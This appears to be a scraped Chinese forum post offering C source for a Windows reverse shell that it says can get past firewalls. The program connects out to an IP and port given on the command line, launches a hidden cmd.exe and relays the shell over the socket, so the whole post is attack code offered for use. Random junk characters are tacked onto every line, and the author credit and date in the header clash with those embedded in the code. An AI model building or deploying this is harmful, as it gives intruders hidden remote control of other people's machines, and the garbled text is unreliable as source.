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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZAG ia q  
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/* ============================== =+qtk(p  
Rebound port in Windows NT DP D%8a)?  
By wind,2006/7 ]OZk+DU:  
===============================*/ a3<.F&c+c  
#include . .|>|X4  
#include MxY~(TVPK  
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#pragma comment(lib,"wsock32.lib") v){&g5djl  
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void OutputShell(); .#,!&Lt  
SOCKET sClient; dT%$"sj5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fq.ui3lP)  
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void main(int argc,char **argv) DB'd9<  
{ &;%z1b> F  
WSADATA stWsaData; `N_elf://n  
int nRet; :3s5{s   
SOCKADDR_IN stSaiClient,stSaiServer; cu4&*{  
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if(argc != 3) w(QU'4~  
{ iINd*eXb^  
printf("Useage:\n\rRebound DestIP DestPort\n"); :@:i*2=  
return; JM-spi o  
} |D %m>M6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6q[|U_3I@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gAA2S5th  
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stSaiClient.sin_family = AF_INET; (j^Qa~{mG4  
stSaiClient.sin_port = htons(0); _;G. QwHr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P8N`t&r"7  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GJ:65)KU  
{ 7~@9=e8G  
printf("Bind Socket Failed!\n"); "K3"s Ec%  
return; lWr{v\L'  
} &_-,Nxsf  
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stSaiServer.sin_family = AF_INET; "@1e0`n Q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M ABrf`<b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @6eM{3E.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &Kuo|=f  
{ DJxe3<  
printf("Connect Error!"); {:U zW\5l)  
return; ,(H`E?m1w4  
} s}8(__|  
OutputShell(); RRW/.y  
} B$R"Ntp  
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void OutputShell() {BkTJQ)  
{ +Bg$]~ T  
char szBuff[1024]; OF[y$<jM  
SECURITY_ATTRIBUTES stSecurityAttributes; C|#GODA  
OSVERSIONINFO stOsversionInfo; VRuY8<E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f{ ;L"*L  
STARTUPINFO stStartupInfo; bXSsN\:Y@[  
char *szShell; F];"d0O#5  
PROCESS_INFORMATION stProcessInformation; #2`ST=#  
unsigned long lBytesRead; V}?*kx~T2C  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L5(7;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D hN{Y8'~  
stSecurityAttributes.lpSecurityDescriptor = 0; mGss9eZa  
stSecurityAttributes.bInheritHandle = TRUE; ]q#w97BxiJ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :Ma=P\J W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .[%^~q7  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DrAp&A|WV|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]]sy+$@~  
stStartupInfo.wShowWindow = SW_HIDE; |p4D!M+$7  
stStartupInfo.hStdInput = hReadPipe; I&2)@Zw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  Ptt  
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GetVersionEx(&stOsversionInfo); Z2Q'9C},m  
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switch(stOsversionInfo.dwPlatformId) HuVx^y` @  
{ , %8keGhl  
case 1: }MUQO<=*  
szShell = "command.com"; SRU }-  
break; XZh1/b^DMN  
default: @2yoy&IO  
szShell = "cmd.exe"; n(}cK@  
break; v&7yqEm}B  
} =nVEdRU  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2F}D?] A  
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send(sClient,szMsg,77,0); 4Nb&(p  
while(1) +'-i(]@!'  
{ k},@2#W]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [Re.sX}$Y  
if(lBytesRead) ",v!geMvu  
{ ;7:_:o[.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /8cfdP Ba  
send(sClient,szBuff,lBytesRead,0); -`f 1l8LD2  
} U%:K11Kr  
else xYLTz8g=  
{ :@~Nszlb  
lBytesRead=recv(sClient,szBuff,1024,0); pW7#&@AR  
if(lBytesRead<=0) break; yQ [n7du  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5~R1KjjvA  
} 'K!u}py  
} 6L/`  
vk jHh.  
return; y/.I<5+Bu  
}
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